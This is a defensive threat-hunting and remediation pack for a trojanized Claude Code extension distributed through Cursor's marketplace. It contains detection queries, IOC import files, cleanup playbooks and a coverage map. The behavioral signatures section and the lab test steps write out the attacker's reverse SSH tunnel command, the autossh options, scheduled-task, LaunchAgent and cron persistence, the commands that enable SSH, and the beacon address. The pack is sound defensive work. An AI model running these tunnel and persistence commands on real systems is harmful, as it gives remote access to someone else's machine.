// TUNING: exclude your sanctioned SSH destinations (RemoteAddressIP4) for the port 22 branch; baseline local 8099 listeners for two weeks before alerting on loopback hits
#event_simpleName=NetworkConnectIP4
| ContextBaseFileName=/^cursor/i
| (RemotePort=8099 or RemotePort=22)
| !cidr(RemoteAddressIP4, subnet=["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "169.254.0.0/16"])
| table([@timestamp, event_platform, ComputerName, aid, ContextBaseFileName, RemoteAddressIP4, RemotePort])
Q7 · Windows scheduled task named SysMon or running smt.cmd
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: Registration of a scheduled task named SysMon (the loader asks for SYSTEM and falls back to the Startup folder), or any task whose action runs smt.cmd. FP: a legitimate monitoring tool that registers a task with this name; inspect the configured action before concluding anything.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: equivalent-with-schema-assumptions, unsupported-without-redesignProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: SentinelOne cannot show the registered task name and executable from this card until the task event fields are confirmed on a tenant.
  • KQL – Defender XDR: The task author is not available as a column and is not shown.
  • KQL – Defender XDR: If AdditionalFields omits the task action on your tenant, the smt.cmd branch returns nothing.
  • KQL – Defender XDR assumes: ActionType ScheduledTaskCreated is attested in Microsoft-owned hunting repositories but not listed on Learn.
  • KQL – Defender XDR assumes: AdditionalFields is a JSON string whose TaskName key holds the task name, and its text includes the task action so smt.cmd can be found by substring.
  • KQL – Defender XDR assumes: The CQL task author field has no Defender equivalent here and is not matched.
// HUNT: Windows scheduled task named SysMon or running smt.cmd
// MITRE: T1053.005, T1036.004
// CONF: medium  FP: medium  COST: low
// REQUIRES: ScheduledTaskRegistered events (Windows). ⚠ validate in tenant: TaskName, TaskExecutable and TaskAuthor population varies by sensor version
// FALSE POSITIVES: monitoring software that registers a task named SysMon
// TUNING: exclude tasks whose TaskExecutable resolves to your approved monitoring agent path; keep the smt.cmd branch unfiltered
#event_simpleName=ScheduledTaskRegistered
| (TaskName=/^\\?SysMon$/i or TaskExecutable=/smt\.cmd/i)
| table([@timestamp, ComputerName, aid, TaskName, TaskExecutable, TaskAuthor])
Q8 · Process launched from an affected extension folder (exposure lead)
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: Any process whose image path or command line contains anthropic.claude-code-2.1.312- or -2.1.313-, grouped per host. It only fires if the extension launched a binary from that folder, so it is a partial inventory, not a complete one. FP: the clean Open VSX 2.1.312 build uses the same folder name, so a 2.1.312 hit is only an exposure lead; confirm the source and the extension.js hash. A 2.1.313 hit is stronger because that version was never published outside Cursor's marketplace.

Validation: schema-aligned, static-reviewedAutomated: static-passedEquivalence: approximate-analytic, equivalent-with-schema-assumptionsProfiles: microsoft-defender-xdr, sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Only the first image path per host is shown.
  • PowerQuery: Fires only if the extension starts a binary; an extension that never launches a process leaves no event.
  • PowerQuery assumes: tgt.process.image.path holds the full path of the created process.
  • PowerQuery assumes: The result keeps one example image path per host, not the full set.
  • KQL – Defender XDR: Fires only if the extension starts a binary; an extension that never launches a process leaves no event.
  • KQL – Defender XDR assumes: FolderPath holds the full path of the created process.
// HUNT: Process launched from an affected Claude Code extension folder (exposure lead)
// MITRE: T1195.002
// CONF: medium  FP: medium  COST: low
// REQUIRES: process creation with image path and command line. Partial inventory only: fires only if the extension starts a binary
// FALSE POSITIVES: the clean Open VSX 2.1.312 build shares the folder name anthropic.claude-code-2.1.312-*
// TUNING: treat 2.1.313 as exposed; for 2.1.312 confirm the install came from Cursor's marketplace (not Open VSX) and check extension.js for 134.209.82.225 and svc-telemetry
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| (ImageFileName=/anthropic\.claude-code-2\.1\.31[23]-/i or CommandLine=/anthropic\.claude-code-2\.1\.31[23]-/i)
| groupBy([aid, ComputerName], function=[count(as=Hits), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen), collect([ImageFileName])])
| table([ComputerName, aid, Hits, FirstSeen, LastSeen, ImageFileName])
09

Detection Rules by Platform

Three queries are specific enough to promote. All ship as detect: ssh, autossh, schtasks, systemsetup and Cursor are legitimate software, so no IOA here uses a prevent action.

CrowdStrike: Custom IOA

IOA namePromotesPatternExclusionsDeployment Path
DETECT-CursorExt-ReverseSSHTunnelPromote Q1Process creation, image name ssh or autossh, command line matching -R with *:0:localhost:22Sanctioned bastion tunnels and IT service accountsCustom IOA (process creation), severity High, action Detect only. Start with the wildcard -R branch alone; add the autossh branch after baselining
DETECT-CursorExt-DroppedArtifactExecutionPromote Q5Process creation whose command line names .config with .smt/.smtk, smt.cmd, sysmon.cmd or .stk_ plus ten hex digitsNone knownCustom IOA (process creation), severity High, action Detect only
DETECT-CursorExt-AttackerServerConnectionPromote Q2Network connection to 134.209.82.225Address reassignment over timeCustom IOA (network connection), severity Medium, action Detect only; expire with the indicator

Do not promote Q3, Q4, Q6, Q7 or Q8. They fire on legitimate administration, Remote-SSH sessions or shared folder names. Run them as hunts and baseline first.

SentinelOne: custom detection rules

RuleSource queryRun asNotes
DETECT-CursorExt-ReverseSSHTunnelQ1, PowerQuery tabScheduled custom detection ruleBind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written
DETECT-CursorExt-DroppedArtifactExecutionQ5, PowerQuery tabScheduled custom detection ruleBind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written
DETECT-CursorExt-AttackerServerConnectionQ2, PowerQuery tabScheduled custom detection ruleBind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written

Create the rule with POST /web/api/v2.1/cloud-detection/rules, queryType: "scheduled" and queryLang: "2.0", with the query in data.scheduledParams.query. Use 2.0 operator spellings: a rule written with the 1.0 token ContainsCIS was accepted and never fired on a tenant. The API does not warn, so lint the body before deploying.

Microsoft Defender: custom detection rules

RuleSource queryRun asNotes
DETECT-CursorExt-ReverseSSHTunnelQ1, KQL – Defender XDR tabCustom detection rule, alert only, every hourThe query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself. This pack's own text mentions a baseline or pilot; follow it as written
DETECT-CursorExt-DroppedArtifactExecutionQ5, KQL – Defender XDR tabCustom detection rule, alert only, every hourThe query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself. This pack's own text mentions a baseline or pilot; follow it as written
DETECT-CursorExt-AttackerServerConnectionQ2, KQL – Defender XDR tabCustom detection rule, alert only, every hourThe query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself. This pack's own text mentions a baseline or pilot; follow it as written

Q3, Q4, Q6, Q7 and Q8 stay a hunt in this pack, not a rule. A rule can generate only 150 alerts per run. Continuous (NRT) frequency needs a single table and no comment lines, so delete the generated comment header from the query first.

10

Machine-Readable IOC Appendix

Grouped quick-copy blocks. Of the nine importable atomic indicators, one is prevent and eight are detect. The only prevent row is the malicious extension.js SHA-256, which three independent sources publish. VSIX hashes trace to Cursor's notice alone (StepSecurity repeats them "per Cursor"), the smt.cmd hash to StepSecurity alone, and the tunnel-key hash is a key file and not an executable, so all ship detect. The attacker address is detect, not prevent: the server is offline and the address belongs to a cloud provider. Falcon IOC Management matches files it scans or executes; a script bundle that is only read by Node.js may never trigger a file-hash IOC, so the behavioral queries are the primary control.

Falcon IOC Management CSVbulk import
type,value,action,severity,expiration,description,tags
sha256,ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15,prevent,critical,2027-10-31,malicious extension.js of trojanized anthropic.claude-code (Cursor; StepSecurity; Microsoft),campaign:Cursor-ClaudeCode-Extension
ipv4,134.209.82.225,detect,high,2027-04-30,reverse SSH tunnel and HTTP beacon server; offline per Cursor,campaign:Cursor-ClaudeCode-Extension
sha256,fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364,detect,high,2027-04-30,malicious VSIX 2.1.312 darwin-arm64 (Cursor),campaign:Cursor-ClaudeCode-Extension
sha256,3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081,detect,high,2027-04-30,malicious VSIX 2.1.312 win32-x64 (Cursor),campaign:Cursor-ClaudeCode-Extension
sha256,80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c,detect,high,2027-04-30,malicious VSIX 2.1.313 darwin-arm64 (Cursor),campaign:Cursor-ClaudeCode-Extension
sha256,6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731,detect,high,2027-04-30,malicious VSIX 2.1.313 win32-x64 (Cursor),campaign:Cursor-ClaudeCode-Extension
md5,f49bcd657ef1e626e85ce858958c1769,detect,high,2027-04-30,malicious extension.js (Cursor; StepSecurity),campaign:Cursor-ClaudeCode-Extension
sha256,22f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0,detect,medium,2027-04-30,dropped Windows smt.cmd persistence script (StepSecurity only),campaign:Cursor-ClaudeCode-Extension
sha256,7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278,detect,medium,2027-04-30,decoded tunnel private key file written as .stk_ plus ten hex (StepSecurity; Microsoft),campaign:Cursor-ClaudeCode-Extension
Microsoft Defender indicators CSVSettings, Endpoints, Indicators, Import: audit and block
indicatorType,indicatorValue,action,title,description,expirationTime,severity,recommendedActions,rbacGroups,category,mitretechniques,GenerateAlert
FileSha256,ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15,Block,malicious extension.js of trojanized anthropic.claude-code,malicious extension.js of trojanized anthropic.claude-code (Cursor; StepSecurity; Microsoft),2027-10-31T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True
IpAddress,134.209.82.225,Audit,reverse SSH tunnel and HTTP beacon server; offline per Curso,reverse SSH tunnel and HTTP beacon server; offline per Cursor,2027-04-30T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True
FileSha256,fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364,Audit,malicious VSIX 2.1.312 darwin-arm64,malicious VSIX 2.1.312 darwin-arm64 (Cursor),2027-04-30T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True
FileSha256,3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081,Audit,malicious VSIX 2.1.312 win32-x64,malicious VSIX 2.1.312 win32-x64 (Cursor),2027-04-30T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True
FileSha256,80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c,Audit,malicious VSIX 2.1.313 darwin-arm64,malicious VSIX 2.1.313 darwin-arm64 (Cursor),2027-04-30T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True
FileSha256,6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731,Audit,malicious VSIX 2.1.313 win32-x64,malicious VSIX 2.1.313 win32-x64 (Cursor),2027-04-30T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True
FileSha256,22f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0,Audit,dropped Windows smt.cmd persistence script,dropped Windows smt.cmd persistence script (StepSecurity only),2027-04-30T00:00:00.0Z,Medium,Investigate the device and pivot into the pack's queries,,,,True
FileSha256,7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278,Audit,decoded tunnel private key file written as .stk_ plus ten he,decoded tunnel private key file written as .stk_ plus ten hex (StepSecurity; Microsoft),2027-04-30T00:00:00.0Z,Medium,Investigate the device and pivot into the pack's queries,,,,True

Column names and allowed values are from Microsoft's documented parameter table. Left out because this block maps only SHA-1, SHA-256, IPv4, domain and URL indicators: md5 1. Prevent rows import as Block, without remediation; network indicators cannot use BlockAndRemediate. Check each expirationTime before importing: an indicator whose date has passed is already expired. Download the sample CSV from the Import page to confirm the column order before a bulk import. Each file takes at most 500 indicators. Learn describes the import per entity type, so if a mixed file is rejected, split it by indicatorType. An imported indicator does nothing unless the matching Advanced features are on (for example Custom network indicators and Allow or block file).

SentinelOne IOC importnot included

This pack does not ship a SentinelOne import block: the import format could not be verified against SentinelOne's own documentation. Export a sample from your console and the block can be added with confidence.

Behavioral Signatureswhat to hunt on
# Behavioral signatures (the combination is the signal; each tool alone is legitimate)
SSH key comment          : svc-telemetry
SSH key fingerprint      : SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk   (authorized key)
Tunnel key fingerprint   : SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ   (dropped as .stk_ + 10 hex)
Tunnel                   : ssh -N -R '*:0:localhost:22' as user tunnel on TCP 22
autossh                  : autossh -M 0
SSH options              : StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null, ServerAliveInterval=30,
                           ServerAliveCountMax=3, ExitOnForwardFailure=yes, IdentitiesOnly=yes
Windows persistence      : schtasks /create /tn SysMon (SYSTEM requested); Startup\sysmon.cmd fallback
macOS persistence        : LaunchAgent com.apple.sysmond (RunAtLoad, KeepAlive)
Linux persistence        : user crontab  @reboot /bin/sh "<HOME>/.config/.smt"
SSH enablement           : systemsetup -setremotelogin on (macOS)
                           Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 (Windows)
Beacon                   : HTTP POST to port 8099, path /beacon (external and 127.0.0.1)
Retry cadence            : tunnel retried about every 60 seconds
Trojanized bundle test   : extension.js contains 134.209.82.225 and svc-telemetry
File and Persistence Pathshunt list, not importable
# macOS and Linux
~/.ssh/authorized_keys                       (entry labelled svc-telemetry)
~/.config/.smt
~/.config/.smtk
$TMPDIR/.stk_<10 hex>                        (macOS)
/tmp/.stk_<10 hex>                           (Linux)
~/Library/LaunchAgents/com.apple.sysmond.plist
# Windows
%USERPROFILE%\.ssh\authorized_keys
C:\ProgramData\ssh\administrators_authorized_keys
%USERPROFILE%\.config\smt.cmd
%USERPROFILE%\.config\smtk
%TEMP%\.stk_<10 hex>
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd
# Extension folders (exposure, not compromise)
anthropic.claude-code-2.1.312-*   (darwin-arm64, win32-x64 from Cursor's marketplace)
anthropic.claude-code-2.1.313-*   (darwin-arm64, win32-x64)
Exposure and Credential Auditread-only checklist
# Who was exposed? (window 2026-10-29 09:27 to 20:35 UTC; Cursor's marketplace only)
[ ] Hosts where Cursor installed or auto-updated anthropic.claude-code 2.1.312 or 2.1.313
[ ] Installs from Open VSX or the Microsoft Marketplace are NOT in scope (2.1.313 never published there)
[ ] Installed version now 2.1.314 or later
# Was the implant planted?
[ ] svc-telemetry present in authorized_keys (Sections 7.1, 7.2)
[ ] SysMon task, sysmon.cmd, com.apple.sysmond.plist, crontab @reboot .smt present (Section 7.4)
[ ] Tunnel process running (Section 7.5)
# What did the host hold? (beacon sent variable NAMES matching KEY, TOKEN, SECRET, PASS, AWS, GCP, not values)
[ ] Source-control tokens (GitHub, GitLab)   [ ] CI/CD tokens   [ ] Cloud keys   [ ] SSH keys   [ ] Package registry tokens
[ ] Rotate from a known-clean machine; review SSH, shell, process and auth logs; rebuild if the tunnel connected
11

Detection Validation Gates

GateQ1 (tunnel)Q2 (server IP)Q3 (persist cmds)Q4 (Cursor tree)Q5 (artifacts)Q6 (Cursor net)Q7 (SysMon task)Q8 (folder)
Telemetry readyReady process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents)Ready outbound network connection (CrowdStrike: NetworkConnectIP4. SentinelOne: IP Connect. Defender: DeviceNetworkEvents)Ready process creation with command linePending process creation with parent; confirm the parent name Cursor uses on your buildReady process creation with command linePending outbound connection attributed to the Cursor process namePending scheduled task registration (CrowdStrike: ScheduledTaskRegistered. SentinelOne: Task Register. Defender: DeviceEvents ScheduledTaskCreated); confirm field populationPending process creation with image path; fires only if the extension starts a binary
Benign baseline30 days: list ssh and autossh with -R; expect IT tunnels only30 days since 2026-10-29: expect noneInventory provisioning that enables Remote Login or OpenSSH ServerOne week: list Cursor children that run ssh or task tools30 days: expect noneList Cursor's TCP 22 and 8099 destinations for two weeksList every task named SysMon in the fleetCross-check against Open VSX installs of 2.1.312
Positive-control testNot yet run. On a lab host run ssh -N -R '*:0:localhost:22' user@192.0.2.1 (documentation address; it will time out) and confirm the process eventNot yet run. Lab only: do not contact the real server. Use a test rule on a lab address and confirm the network event shapeNot yet run. On a lab Windows host create and delete a harmless task named SysMon with schtasksNot yet run. From Cursor's integrated terminal on a lab host run a harmless command containing authorized_keysNot yet run. On a lab host run echo test .config/.smt in a shellNot yet run. From a lab Cursor, open a connection to a lab listener on TCP 8099Not yet run. Create and delete a harmless task named SysMon on a lab hostNot yet run. Launch a harmless binary from a lab folder with the same name pattern
PromotionIOA candidate (Section 9)IOA candidate (Section 9)Hunt onlyHunt onlyIOA candidate (Section 9)Hunt onlyHunt onlyHunt only

Run every positive control in a lab, never on production, and never contact the real attacker address or run the real payload. A zero result from Q1 to Q8 does not clear a host: the key write and in-process reconnaissance are invisible here, so always run the Section 7 file checks on exposed machines.

12

Hardening: Tiered

Immediate (this week)

1. Remove the trojanized versions and move to 2.1.314 or later. M1051 Update Software, addresses T1195.002. 2.1.314 supersedes both affected versions (StepSecurity, Cursor). Removing the extension alone does not remove the dropped persistence, so pair it with items 2 and 3. Verify: Section 7.3 shows no anthropic.claude-code-2.1.312-* or -2.1.313-* folder.

2. Remove the implant after evidence collection. M1047 Audit, M1018 User Account Management, addresses T1098.004, T1053, T1543.001. Delete the exact svc-telemetry authorized key, the persistence objects and the tunnel processes (Playbooks 1 and 2). Preserve unrelated keys and legitimate remote-development configuration (Microsoft). Verify with the Section 7.1, 7.2 and 7.4 checks.

3. Rotate credentials reachable from exposed hosts, from a known-clean machine. M1027 Password Policies, M1026 Privileged Account Management. Source-control and CI/CD tokens, cloud keys, SSH keys and package registry tokens (StepSecurity). Cursor notes the limited variable collection does not rule out later credential access over a working tunnel.

4. Block the attacker address at egress and search logs. M1037 Filter Network Traffic. Block 134.209.82.225 outbound on TCP 22 and 8099 and search history from 2026-10-29. The server is offline, so this is a tripwire and a scoping aid, not a control.

Near term (1 to 4 weeks)

5. Restrict Cursor to approved extension publishers and add an installation cooldown. M1054 Software Configuration, M1038 Execution Prevention. Microsoft recommends applying Cursor's security-hardening guidance: allow only approved publishers and delay installation of newly published versions. This incident arrived under the legitimate publisher name, so the cooldown is the control that would have helped here; a publisher allowlist alone would not. Confirm the exact setting names in Cursor's enterprise documentation (not fetched for this pack). Flagged best-practice, no formal benchmark.

6. Keep SSH servers off developer workstations unless needed. M1042 Disable or Remove Feature or Program. macOS: Remote Login off (systemsetup -getremotelogin to verify). Windows: OpenSSH Server capability not installed. Cursor reports the attack failed on most hosts precisely because enabling SSH needs administrator rights, so this control converts a persistent foothold into a failed attempt. CIS macOS and Windows benchmarks cover sharing services and optional features.

7. Run the editor without administrator rights. M1026. The loader's SSH enablement failed outside "highly unusual circumstances where Cursor was started with administrator privileges" (Cursor). Verify no developer launches Cursor elevated or as root.

8. Monitor authorized_keys and startup locations for change. M1047 Audit. File-integrity monitoring on ~/.ssh/authorized_keys, C:\ProgramData\ssh\administrators_authorized_keys, user LaunchAgents, user crontabs and the Startup folder closes the largest visibility gap in Section 15. Flagged best-practice, no formal benchmark for developer endpoints.

9. Disable automatic extension updates on managed developer machines. M1051, M1054. Anyone with auto-update enabled could receive the build within the window (OpenSourceMalware, via The Hacker News). Move to staged updates through a ring. Flagged best-practice.

Strategic (1 to 3 months)

10. Mirror and pin extensions internally. M1051, M1038. Serve a vetted set of extension versions from an internal mirror and verify package hashes on import, so a tampered upstream publish is not auto-consumed. Flagged best-practice, no formal benchmark.

11. Restrict outbound SSH from developer networks. M1037. Allow TCP 22 only to approved hosts; this would have broken the reverse tunnel. Keep exceptions for source-control hosts.

12. Remove long-lived secrets from developer environments. M1027, M1026. Prefer short-lived credentials from a credential helper or secrets manager over environment variables whose names match KEY, TOKEN, SECRET, PASS, AWS or GCP. Even this loader sent names only; a working tunnel exposes values.

13. Inventory editor extensions fleet-wide. M1047. Maintain a per-machine record of installed IDE extensions and versions, so the next marketplace incident is answered in minutes. Section 15 shows this question is currently outside endpoint telemetry.

13

Deployable Playbooks

Cursor publishes its own remediate-macos.sh and remediate-windows.ps1. They were not fetched or run for this pack. Review any vendor script before use. The steps below are reviewable equivalents limited to the artifacts named in the sources.

Playbook 1: Collect evidence, then remove the implant (macOS and Linux)

Prerequisites: run as the affected user, not root; confirm with Section 7 that the artifacts exist; isolate the host first if the tunnel connected. Reboot required: no. Rollback: restore from the evidence folder created in step 1 (copies of every file touched). The implant itself should not be restored; if the host is rebuilt, discard this step.

set -u
EV="$HOME/svc-telemetry-evidence-$(date +%Y%m%d%H%M)"; mkdir -p "$EV"
# 1. Preserve evidence
cp -p ~/.ssh/authorized_keys "$EV/" 2>/dev/null
cp -p ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt ~/.config/.smtk "$EV/" 2>/dev/null
crontab -l > "$EV/crontab.txt" 2>/dev/null
cp -p "${TMPDIR:-/tmp}"/.stk_* "$EV/" 2>/dev/null
# 2. Stop the tunnel and retry loops
pkill -f '\.stk_' ; pkill -f '\.config/\.smt'
# 3. macOS: unload and remove the LaunchAgent
launchctl bootout "gui/$(id -u)" ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.apple.sysmond.plist
# 4. Remove only the implant cron line, keep other entries
crontab -l 2>/dev/null | grep -v -F '.config/.smt' | crontab -
# 5. Remove only the svc-telemetry key line (confirm the fingerprint first, Section 7.1)
grep -v -F svc-telemetry ~/.ssh/authorized_keys > "$EV/authorized_keys.clean" && cat "$EV/authorized_keys.clean" > ~/.ssh/authorized_keys
# 6. Remove dropped files
rm -f ~/.config/.smt ~/.config/.smtk "${TMPDIR:-/tmp}"/.stk_*
# 7. Verify: expect no output
grep -F svc-telemetry ~/.ssh/authorized_keys; ls ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt 2>/dev/null; ps aux | grep -E "\.stk_|\.smt" | grep -v grep

Playbook 2: Collect evidence, then remove the implant (Windows, elevated PowerShell)

Prerequisites: administrator PowerShell (the SysMon task may have been created as SYSTEM); isolate first if the tunnel connected. Reboot required: no. Rollback: restore files from the evidence folder; do not re-create the SysMon task.

$ev = "$HOME\svc-telemetry-evidence-$(Get-Date -Format yyyyMMddHHmm)"; New-Item -ItemType Directory $ev | Out-Null
# 1. Preserve evidence
foreach ($p in "$HOME\.ssh\authorized_keys","C:\ProgramData\ssh\administrators_authorized_keys","$HOME\.config\smt.cmd","$HOME\.config\smtk","$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd") { if (Test-Path $p) { Copy-Item $p $ev -Force } }
schtasks /query /tn SysMon /xml 2>$null | Out-File "$ev\SysMon-task.xml"
# 2. Stop tunnel and retry processes
Get-CimInstance Win32_Process | Where-Object { $_.ProcessId -ne $PID -and $_.CommandLine -match "\.stk_|smt\.cmd|sysmon\.cmd" } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force }
# 3. Remove persistence
schtasks /delete /tn SysMon /f 2>$null
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd","$HOME\.config\smt.cmd","$HOME\.config\smtk" -Force -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\.stk_*" -Force -ErrorAction SilentlyContinue
# 4. Remove only the svc-telemetry key line from each authorized_keys file
foreach ($f in "$HOME\.ssh\authorized_keys","C:\ProgramData\ssh\administrators_authorized_keys") { if (Test-Path $f) { (Get-Content $f) | Where-Object { $_ -notmatch "svc-telemetry" } | Set-Content $f } }
# 5. Verify: expect no output
schtasks /query /tn SysMon 2>$null; Select-String svc-telemetry "$HOME\.ssh\authorized_keys" -ErrorAction SilentlyContinue

Playbook 3: Turn off Remote Login or OpenSSH Server where it is not needed

Prerequisites: confirm no one depends on inbound SSH to the machine; run elevated. Reboot required: no. Rollback: macOS sudo systemsetup -setremotelogin on; Windows Set-Service sshd -StartupType Automatic; Start-Service sshd.

# macOS: check, then disable
sudo systemsetup -getremotelogin
sudo systemsetup -setremotelogin off

# Windows (elevated PowerShell): check, then stop and disable if present
Get-WindowsCapability -Online -Name "OpenSSH.Server*" | Select-Object Name, State
if (Get-Service sshd -ErrorAction SilentlyContinue) { Stop-Service sshd; Set-Service sshd -StartupType Disabled }
# Optional: remove the capability entirely
# Remove-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

Playbook 4: Fleet check for affected extension folders (read-only)

Prerequisites: deploy through your endpoint-management tool, running per user; the folder path is an assumption (Section 7.3), so verify on a pilot machine. Reboot required: no. Rollback: none required, the script only reads.

# macOS / Linux
for u in /Users/* /home/*; do
  ls -d "$u"/.cursor/extensions/anthropic.claude-code-2.1.312-* "$u"/.cursor/extensions/anthropic.claude-code-2.1.313-* 2>/dev/null
  grep -l -e "134.209.82.225" -e "svc-telemetry" "$u"/.cursor/extensions/anthropic.claude-code-*/extension.js 2>/dev/null
done

# Windows (PowerShell, per user profile)
Get-ChildItem C:\Users -Directory | ForEach-Object {
  $e = Join-Path $_.FullName ".cursor\extensions"
  Get-ChildItem $e -Directory -Filter "anthropic.claude-code-2.1.31*" -ErrorAction SilentlyContinue
  Get-ChildItem "$e\anthropic.claude-code-*\extension.js" -ErrorAction SilentlyContinue | Select-String -Pattern "134.209.82.225","svc-telemetry" -List | Select-Object Path
}
14

Containment Runbook

PhaseActionsOwnerEvidence
IsolateScope first: hosts where Cursor installed or updated Claude Code 2.1.312 or 2.1.313 in the window. Isolate any host that shows the key, a persistence object, a tunnel process or contact with the attacker address. Hosts that merely had the extension and show none of these can usually stay online while you clean them.SOCHost list with isolation timestamps; Section 7 outputs
Isolate: by platformCrowdStrike: network-contain the host. SentinelOne: network quarantine (Disconnect from Network; confirm the label in your console version). Microsoft Defender: Isolate device (full network isolation).SOCHost list with isolation timestamps; Section 7 outputs
PreserveBefore cleanup, keep the extension package, the modified authorized_keys, generated keys and scripts, and startup configuration (Microsoft). Playbooks 1 and 2 copy these to an evidence folder.IREvidence folder hashes
EradicateStop tunnel and retry processes, remove the exact svc-telemetry key, the persistence objects and the dropped files (Playbooks 1 and 2), then remove the extension and install 2.1.314 or later. Inspect each startup object's configured action before removal; names alone do not prove malice.Endpoint engineeringVerification output showing no artifacts remain
Scope credentialsList what the host could reach: source-control tokens, CI/CD tokens, cloud keys, SSH keys, package registry tokens. Review their audit logs from 2026-10-29 for new addresses and unexpected use.IR with identity and cloud teamsCredential inventory and audit-log extracts
RecoverRotate credentials and revoke sessions from a known-clean machine. If the tunnel is confirmed to have connected, rebuild the host (StepSecurity): cleaning is not enough after interactive access. Verify the tunnel and startup artifacts do not return after logon or restart.Identity / Endpoint engineeringRotation records; post-rebuild scan results
Prevent recurrenceSection 12 items 5 to 9; Playbook 3; add Q1, Q2 and Q5 as detect-only IOAs after the Section 11 gates pass.Security engineeringControl verification output
15

Detection Coverage Map

TechniqueBehaviorCQLIOACrowdStrike coverageSentinelOneDefender XDR
T1195.002Tampered extension installed or auto-updated from the marketplaceQ8 (partial inventory)n/aGAP (extension install is outside endpoint telemetry; use inventory or Cursor's check)GAP: same limit as CrowdStrikeGAP: same limit as CrowdStrike
T1059.007Node.js loader executes on module load inside the editor processQ4 (children only)n/aGAP (in-process execution is invisible)GAP: same limit as CrowdStrikeGAP: same limit as CrowdStrike
T1082Host and credential-variable-name reconnaissancenonen/aGAP (in-process reads produce no event)GAPGAP
T1098.004Attacker key appended to authorized_keysQ4 (only if done by a spawned command)n/aGAP (written by the Node.js process; needs file-integrity monitoring or the Section 7 checks)GAP: same limit as CrowdStrikeGAP: same limit as CrowdStrike
T1053.005SysMon scheduled task with Startup-folder fallbackQ3, Q5, Q7Q5Partial (task registration and commands seen; the fallback file write is not)Partial: Q7 unavailablePartial: same limit as CrowdStrike
T1543.001LaunchAgent com.apple.sysmondQ3, Q5Q5Partial (load command and script runs seen; the plist write is not)Partial: same limit as CrowdStrikePartial: same limit as CrowdStrike
T1053.003User crontab @reboot entry running .smtQ5Q5Partial (script run seen; the crontab edit arrives on standard input; no confirmed Linux build)Partial: same limit as CrowdStrikePartial: same limit as CrowdStrike
T1036.004Monitoring-lookalike namesQ3, Q7n/aPartial (name match; legitimate software can reuse the names)Partial: Q7 unavailablePartial: same limit as CrowdStrike
T1572Reverse SSH tunnel with retry loopQ1, Q2, Q5, Q6Q1, Q2, Q5Good (process, address and key-file paths, if the sensor is present)Good, with assumptionsGood, with assumptions
T1071.001HTTP POST beacon to port 8099Q2, Q6Q2Partial (connection seen, payload not; server offline)Partial: same limit as CrowdStrikePartial: same limit as CrowdStrike
T1021.004Interactive SSH access through the tunnelQ1, Q3Q1GAP (attacker logons are outside endpoint telemetry unless the host runs sshd with logged sessions; use Section 7.6)GAP: same limit as CrowdStrikeGAP: same limit as CrowdStrike

